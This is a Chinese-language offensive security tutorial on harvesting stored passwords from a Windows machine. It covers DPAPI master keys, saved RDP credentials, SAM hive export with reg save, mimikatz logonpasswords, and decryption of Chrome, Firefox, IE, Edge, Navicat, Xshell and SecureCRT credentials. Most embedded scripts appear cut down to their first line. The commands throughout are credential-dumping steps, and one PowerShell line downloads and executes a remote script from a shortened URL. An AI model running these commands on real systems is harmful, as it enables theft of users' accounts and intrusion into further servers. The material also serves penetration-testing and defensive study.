Windows本地密码抓取
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
学!后续会持续更新
DPAPI解密
使用用户登录密码解密Master Key file,获得Master Key
固定位置:
%APPDATA%\Microsoft\Protect\%SID%
下往往有多个Master Key file
这是为了安全起见,系统每隔90天会自动生成一个新的Master Key(旧的不会删除)
%APPDATA%\Microsoft\Protect\%SID%
下存在一个固定文件
Preferred
,包含最后一个Master Key file的名称和创建时间,文件结构如下:
typedef struct _tagPreferredMasterKey |
完整的流程:
本地保存RDP密码
首先需要打开 隐藏受保护的操作系统文件 ,不打开的话就算打开了显示 隐藏的文件、文件夹和驱动器 也是看不到的
接着打开文件
C:\Users\用户名\AppData\Local\Microsoft\Credentials
就可以看到保存的数据了
使用
cmdkey /line
命令可以查看本地保存了哪些密码,如果你连过其他服务器如果点击了保存密码就能抓取到
使用🥝读取
dpapi::cred /in:C:\Users\ascotbe\AppData\Local\Microsoft\Credentials\SESSIONID |
获取到 guidMasterKey 其实就是我们的master key file名称
切记一点不同的SESSIONID如果间隔时间超过90天那么对应的guidMasterKey也是不同的
通过命令获取到Master Key file的Master Key,下文中 GUID==Master Key file , MasterKey==Master Key
EeLrXMiD # sekurlsa::dpapi |
只需要使用 SESSIONID 对应的GUID和MasterKey就能解密数据了
dpapi::cred /in:C:\Users\ascotbe\AppData\Local\Microsoft\Credentials\SESSION /masterkey:对应的GUID MasterKey |
TargetName 是目标机器, UserName 是账号, CredentialBlob 是密码
通过注册列表抓取密码
首先需要管理员权限,抓取注册列表中保存的哈希
reg save HKLM\SYSTEM SYSTEM |
然后通过🥝进行解密
lsadump::sam /sam:SAM /system:SYSTEM |
解密后的数据
我们只需要查看最后一个 ascotbe (我本机这个是管理员用户)这个账户的Hash NTLM即可知道本机密码了,通过网站解密
通过mimikatz抓取密码
需要管理员权限执行
privilege::debug |
即可得出密码
EeLrXMiD # sekurlsa::logonpasswords |
浏览器密码
Chrome浏览器数据
Chrome的配置文件存放在
%LocalAppData%
目录下。如果有两个Google Chrome账号那么每个账号会有不同的配置文件
C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default (第一个配置文件的名称) |
目录中的
Login Data
是SQLite 3数据库文件,里面存放了各种网站和账号等信息。
我们只需要关注logins这张表即可
chrome version 80(80.0.3987.163) 版本前
chrome80以前的版本是直接可以通过DPAPI中的解密函数 CryptUnprotectData来进行解密的。
测试版本: chrome 79.0.3945.88
A用户解A的chrome密码
直接使用命令即可解密出
dpapi::chrome /in:"C:\Users\ascotbe\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotect |
也可以直接使用脚本
# !/usr/bin/python3 |
B用户解A的chrome密码
首先我们需要获取到A用户的MasterKey值,就可以解密了
dpapi::chrome /in:"C:\Users\ascotbe\Desktop\Login Data" /unprotect /masterkey:831d02bf734632f7aaa7719f5ec593111997c9aeefabe71ac4e4a963de546784662fcec40722a4656870698cff96c348a37d669131e99401e0947fa355e8fd0b |
chrome version 80 (80.0.3987.163)版本后
利用主密钥使用AES-GCM加密算法加密密码存放Login Data数据库,然后用DPAPI的加密函数CryptProtectData加密主密钥存放在Local State文件。其中Local State文件存放在如下地址(假设windows用户为admin),本质是个json文件,其中一个值os_crypt下的encrypted_key是解密需要用的被加密后的密钥。
# !/usr/bin/python3 |
Firefox浏览器数据
所有的密码保存位置在
%APPDATA%\Mozilla\Firefox\Profiles\xxxxxxxx.default\
(xxxxxxxx为8位随机字母和数字的组合)
不同版本的Firefox保存记录的文件名称不同,具体区别如下:
Version大于等于32.0,保存记录的文件为logins.json
Version大于等于3.5,小于32.0,保存记录的文件为signons.sqlite
不同版本的Firefox密钥文件的位置不同,具体区别如下:
Version小于58.0.2,密钥文件为key3.db
Version大于等于58.0.2,密钥文件为key4.db
默认情况下,当前用户的权限可以查看Firefox浏览器中保存的所有密码,为了提高安全性,Firefox浏览器支持为保存的密码添加额外的保护:设置Master Password。
添加Master Password后,查看保存的密码需要额外输入Master Password。
解密流程:
读取密钥文件(key4.db或key3.db),获得key和iv
读取记录文件(logins.json或signons.sqlite)的内容
如果未设置Master Password,使用key和iv对记录文件中的加密内容进行3DES-CBC解密。如果设置Master Password,还需要获得明文形式的Master Password,才能进行解密
未设置Master Password解密
.\WebBrowserPassView.exe /LoadPasswordsFirefox 1 /shtml "C:\Users\ascotbe\Desktop\passwords.html" |
还能把谷歌最新版本的秘钥给解密了
设置Master Password解密
firefox_decrypt: 官方下载
解密需要获取到用户设置的Master Password才行,解密工具别使用1.0版本,问题很多
IE 浏览器数据
首先需要打开浏览器的记住密码功能:工具->Internet 选项->内容->自动完成->勾选表单上的用户名和密码
远程下载执行(需要开启PS可执行)
直接使用命令,目前GitHub国内无法访问,推荐使用自己服务器存放脚本或者使用第三方源
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/2K75g15')" |
本地执行(需要开启PS可执行)
直接把PS1文件放到目标机器上,执行就好了
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] |
落地文件执行
直接把文件双击即可看到密码
Edge浏览器数据
由于微软就套了一层壳,加密方式完全没有修改,值修改了数据保存的路径,所以我们修改上面Chrome的脚本即可获取成功
#数据库路径 |
脚本修改如下
# !/usr/bin/python3 |
数据库密码
Navicat密码
目前测试只能解密11和12两个版本,其他版本未测试
数据库类型 注册表路径能RDP连接到机器
当前已Mysql作为测试样例,通过注册列表中查看,位置如下
\HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers\ |
接着把加密的密码复制出来进行解密,脚本如下,如果本机没有PHP环境可以使用 在线网站
|
不能RDP连接到机器
使用命令来保存注册列表的值
reg export HKCU\SOFTWARE\PremiumSoft\Navicat\Servers navicat |
提取出来的内容如下,解密方式和上面一样
Windows Registry Editor Version 5.00 |
SSH密码
Xshell密码
默认保存路径
Xshell 5&Xshell 6
首先需获取到用户的SID值
PS C:\Users\ascotbe> whoami /user |
然后使用脚本解密
python .\xshell.py -s username+sid -p "文件路径" |
脚本代码如下
#!/usr/bin/env python3 |
Xshell 7
这个版本目前我没有找到解密方式,只能使用比较蠢的方式
星号密码查看器: 备份下载
SecureCRT密码
保存位置如下,绿色版本的话在下载的文件夹中
小于7.X版本
把
*.ini
文件拉取下来直接使用脚本解密,这个版本没有测试过
#!/usr/bin/env python |
7.X版本
进入目录提取文件中的连接IP、端口、账号、hash
findstr /si /c:"Hostname" /c:"\"Username\"=" /c:"\"Password\"=" /c:"\"[SSH2] Port\"=" *.ini |
然后使用脚本进行解密
#注意去除hash的第一位 "u" |
#!/usr/bin/env python3 |
8.X版本
进入目录提取文件中的连接IP、端口、账号、hash
findstr /si /c:"Hostname" /c:"\"Username\"=" /c:"\"Password V2\"=" /c:"\"[SSH2] Port\"=" *.ini |